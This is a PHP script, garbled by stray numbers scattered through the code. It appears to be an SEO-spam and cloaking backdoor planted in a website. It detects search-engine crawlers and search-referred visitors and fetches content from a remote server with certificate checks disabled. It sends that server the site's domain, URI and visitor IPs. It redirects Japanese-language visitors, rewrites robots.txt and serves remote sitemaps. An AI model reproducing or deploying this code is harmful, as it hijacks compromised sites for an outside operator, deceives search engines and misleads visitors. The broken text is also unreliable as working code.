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r($
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5
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{
    
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1
f
1
 
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($name))
b
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1
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        $name = 
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st
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rto
1
u
2
pp
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er($name
3
);

8
        
8
return i
1
s
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set
1
(
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$_SERVER
6
[$name
2
])
1
 
1
?
12
 $_SERVER[$name] :
9
 $default
6
;
    
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}
    
10
public function 
3
iss
1
(
16
)
    {
        if ($t
1
h
1
i
1
s
2
->
9
server('H
11
TTPS') && ("1" ==
2f
 $this->server('HTTPS') || "on" == strtolower($
10d
this->server('HTTPS')))) {
            return true;
        } elseif ('https' == $this->server('REQUEST_SCHEME')) {
            return true;
        } elseif ('443' == $this->server('SERVER_PORT')) {
            return true;
        } elseif ('https' == $this->server('
4f
HTTP_X_FORWARDED_PROTO')) {
            return true;
        }
        return f
20
alse;
    }
    public function 
2
ho
1
s
1
t
12
()
    {
        $
4
host
3
 = 
3
str
2
va
1
l
14
($this->server('HTTP
d
_X_FORWARDED_
3
HOS
3
T')
1
 
1
?
3
: $
12
this->server('HTTP
1
_
6
HOST')
12
);
        return 
4
strp
1
o
1
s
1
(
5
$host
1
,
1
 
1
'
1
:
4
') ?
4
 str
3
str
b
($host, ':'
1
,
1
 
4
true
1
)
8
 : $host
1d
;
    }
    public function s
1
c
1
h
2
em
1
e
11
()
    {
        
8
return $
6
this->
5
iss()
3
 ? 
6
"https
1
"
3
 : 
5
"http
3
";

a
    }
    
10
public function 
1
d
1
m
1f
()
    {
        return $this->
c
scheme() . "
7
://" . 
7
$this->
6
host()
1c
;
    }
    public function 
1
i
1
p
11
()
    {
        
4
if (
1
g
2
et
1
e
1
n
2
v(
6
'HTTP_
1
C
1
L
1
I
1
E
1
N
3
T_I
1
P
13
')) {
            $
1
i
1
p
3
 = 
18
getenv('HTTP_CLIENT_IP')
14
;
        } elseif (
d
getenv('HTTP_
c
X_FORWARDED_
3
FOR
25
')) {
            $ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1c
;
        } elseif (getenv('
1
R
1
E
1
M
3
OTE
4
_ADD
3e
R')) {
            $ip = getenv('REMOTE_ADDR');
        } else
f
 {
            
6
$ip = 
27
$this->server('REMOTE_ADDR');
        }
10

        return 
35
$ip;
    }
    public function isc()
    {
        $a
3
gen
7
t = str
1c
tolower($this->server('HTTP_
1
U
4
SER_
1
A
1
G
3
ENT
3
'))
a
;
        
4
if (
8
$agent !
4
= ''
5
 && p
3
reg
1
_
1
m
2
at
1
c
1
h
1
(
2
'/
1
g
2
oo
2
gl
1
e
1
b
3
ot|
6
google
1
|
1
y
1
a
2
ho
3
o|b
9
ing|aol/s
41
i', $agent)) {
            return true;
        }
        return 
24
false;
    }
    public function isg
9
()
    {

1
	
1
	
1
$
2
re
1
f
1
e
4
r = 
1f
strtolower($this->server('HTTP_
1
R
1
E
1
F
2
ER
1
E
4
R'))
a
;
        
6
$refer
4
bots
4
 = '
16
google|yahoo|bing|aol'
f
;
        if ($
6
refer 
15
!= '' && preg_match("
1
/
1
(
a
$referbots
1
)
4
/si"
3
, $
5
refer
5b
)) {
            return true;
        }
        return false;
    }
    public function uri
11
()
    {
        
4
if (
1
(
1
$
3
pos
6
 = str
20
pos($this->server('REQUEST_URI')
3
, '
1
.
3
php
8
')) !== 
5
false
10
) {
            
2
$s
1
c
2
ri
3
pt_
8
name = b
3
ase
4
name
12
($this->server('SC
1
R
2
IP
2
T_
4
FILE
1
N
1
A
5
ME'))
a
;
        
4
    
4
if (
26
basename($this->server('SCRIPT_NAME'))
3
 ==
3
= $
b
script_name
10
) {
            
7
    $ur
1
l
3
 = 
f
$this->server('
7
SCRIPT_
6
NAME')
e
;
            
1
}
22
 elseif (basename($this->server('P
1
H
1
P
5
_SELF
4
')) 
3a
=== $script_name) {
                $url = $this->server('
a
PHP_SELF')
31
;
            } elseif (basename($this->server('O
2
RI
1
G
3
_SC
5
RIPT_
42
NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
18
;
            } elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
4
, '/
1
'
4
 . $
c
script_name)
1b
) !== false) {
            
b
    $url = 
2
su
1
b
5
str($
e
this->server('
d
SCRIPT_NAME')
3
, 0
3
, $
3
pos
1
)
3
 . 
12
'/' . $script_name
18
;
            } elseif (
f
$this->server('
1
D
2
OC
1
U
1
M
4
ENT_
3
ROO
4
T') 
3
&& 
8
strpos($
1f
this->server('SCRIPT_FILENAME')
11
, $this->server('
15
DOCUMENT_ROOT')) === 
1
0
1b
) {
                $url = 
3
str
5
_repl
1
a
1
c
11
e($this->server('
f
DOCUMENT_ROOT')
3
, '
4
', $
1f
this->server('SCRIPT_FILENAME')
f
);
            
a
}
        
5
    $
1
r
1
e
1
q
c
uri = $url .
1
 
25
substr($this->server('REQUEST_URI'), 
8
$pos + 4
b
);
        
6
} else
10
 {
            $
9
requri = 
25
substr($this->server('REQUEST_URI'), 
16
strpos($this->server('
10
REQUEST_URI'), '
1
/
d
'));
        
a
}
        
8
return r
1
t
2
ri
1
m
4
($re
4
quri
5
, '/'
7
);
    
19
}
    public function exe
1
c
3
Req
1
(
4
$url
4
, $p
4
 = a
1
r
2
ra
3
y()
2e
)
    {
        $url = str_replace(' ', '+', $
f
url);
        $
2
ch
7
 = curl
2
_i
1
n
3
it(
b
);
        
5
curl_
3
set
1
o
1
p
3
t($
1
c
1
h
4
, CU
1
R
1
L
1
O
3
PT_
3
URL
11
, $url);
        
19
curl_setopt($ch, CURLOPT_
1
R
3
ETU
2
RN
1
T
1
R
1
A
2
NS
5
FER, 
4
1);

4
    
4
    
19
curl_setopt($ch, CURLOPT_
1
H
3
EAD
4
ER, 
4
0);

21
        curl_setopt($ch, CURLOPT_
1
T
1
I
1
M
1
E
1
O
2
UT
2
, 
5
20);

22
        curl_setopt($ch, CURLOPT_P
3
OST
28
, 1);
        curl_setopt($ch, CURLOPT_S
1
S
1
L
1
_
3
VER
3
IFY
35
PEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFY
4
HOST
27
, 0);
        curl_setopt($ch, CURLOPT_
4
POST
1
F
1
I
1
E
1
L
1
D
1
S
2
, 
6
http_b
c
uild_query($
10
p));
        $ou
3
tpu
4
t = 
5
curl_
4
exec
4
($ch
c
);
        $
5
error
2
Co
1
d
4
e = 
6
curl_e
2
rr
1
n
1
o
f
($ch);
        
5
curl_
1
c
1
l
2
os
3
e($
d
ch);
        
4
if (
1
0
6
 !== $
9
errorCode
10
) {
            
7
return 
b
false;
    
4
    
11
}
        return 
1
$
e
output;
    }

1
}
1


4
$req
3
 = 
1
n
2
ew
4
 Req
4
();

1
$
2
is
1
c
4
 = $
4
req-
4
>isc
7
();
$is
1
g
b
 = $req->is
3
g()
4
;
$u
1
m
1
a
4
p = 
7
$tr . "
3
map
3
";

3
$ur
4
i = 
3
url
2
de
1
c
3
ode
5
($req
1
-
1
>
5
uri()
4
);
$
a
p = array(
6

    "
4
doma
1
i
5
n" =>
b
 $req->dm()
7
,
    "
4
port
b
" => $req->
8
server('
3
SER
3
VER
7
_PORT',
1
 
1
8
1
0
8
),
    "
9
uri" => $
4
uri

3
);

4
if (
8
substr($
5
uri, 
1
-
1
1
3
0) 
3
== 
1
"
3
rob
6
ots.tx
1
t
1
"
8
) {
    
2
he
1
a
1
d
3
er(
1
"
1
C
2
on
4
tent
1
-
3
typ
1
e
1
:
2
te
1
x
1
t
1
/
3
pla
2
in
1
;
1
 
1
c
2
ha
1
r
3
set
1
=
1
u
1
t
2
f-
2
8"
8
);
    d
1
i
8
e($req->
9
execReq($
6
tr . "
6
robots
4
", $
5
p));

1
}
14

if (substr($uri, -6
c
) == "robots
9
") {
    
7
$output
9
 = $req->
1b
execReq($tr . "robots", $p)
7
;
    $
2
rp
5
t = _
1
_
1
D
1
I
3
R__
4
 . "
c
/robots.txt"
6
;
    
1
f
1
i
2
le
1
_
5
put_c
6
ontent
6
s($rpt
9
, $output
e
);
    $robots
5
_cont
3
 = 
1
@
5
file_
3
get
e
_contents($rpt
7
);
    
5
if (s
6
trpos(
c
strtolower($
b
robots_cont
5
), "s
1
i
2
te
4
map"
d
)) {
        
4
die(
b
"robots.txt
5
 file
1
 
2
cr
1
e
2
at
1
e
3
 su
2
cc
2
es
1
s
1
!
8
");
    
11
} else {
        
1c
die("robots.txt file create 
1
f
1
a
1
i
1
l
a
!");
    }
15

}
if (substr($uri, -
1
4
7
) == ".
1
x
2
ml
9
") {
    
b
if (strpos(
4
$uri
3
, "
1
a
1
l
1
l
e
sitemap.xml") 
3
|| 
8
strpos($
6
uri, "
7
sitemap
2
-i
1
n
1
d
1
e
1
x
25
.xml") || strpos($uri, "sitemap-index
1
-
1
1
18
.xml") || strpos($uri, "
b
index.xml")
c
) {
        
19
$output = $req->execReq($
4
umap
5
, $p)
a
;
        
1a
header("Content-type:text/
4
" . 
9
(substr($
6
output
5
, 0, 
1
5
6
) === 
1
'
1
<
1
?
4
xml'
4
 ? '
5
xml' 
1
:
1
 
1
'
5
plain
6
') . '
f
; charset=utf-8
8
');
    
4
    
4
die(
3
'' 
3
. $
d
output);
    
6
}
    
19
$output = $req->execReq($
6
tr . "
1
w
1
o
1
r
1
d
6
", $p)
6
;
    
1a
header("Content-type:text/
3
xml
17
; charset=utf-8");
    
5
if ($
8
output =
3
= "
1
1
9
") {
    
e
    die('' . $
5
req->
a
execReq($u
8
map, $p)
7
);
    
15
} else {
        die(
15
'' . $output);
    }

3
}
$
2
la
1
n
a
g = $req->
c
server('HTTP
1
_
2
AC
2
CE
3
PT_
2
LA
1
N
2
GU
3
AGE
8
');
if (
1
!
5
$isc 
3
&& 
3
$is
1
g
c
 && strpos($
4
lang
3
, '
1
j
1
a
1
'
1
)
3
!==
e
false) {
    $
1
p
1
[
1
"
2
ip
2
"]
a
 = $req->i
b
p();
    $a
6
ction 
9
= $tr . "
2
ju
1
m
8
p";
    
13
die($req->execReq($
6
action
e
, $p));
}
if (
4
$isc
8
) {
    
a
die('' . $
e
req->execReq($
6
tr . "
3
ind
1
a
2
ta
b
", $p));
}

1
?
1
>
0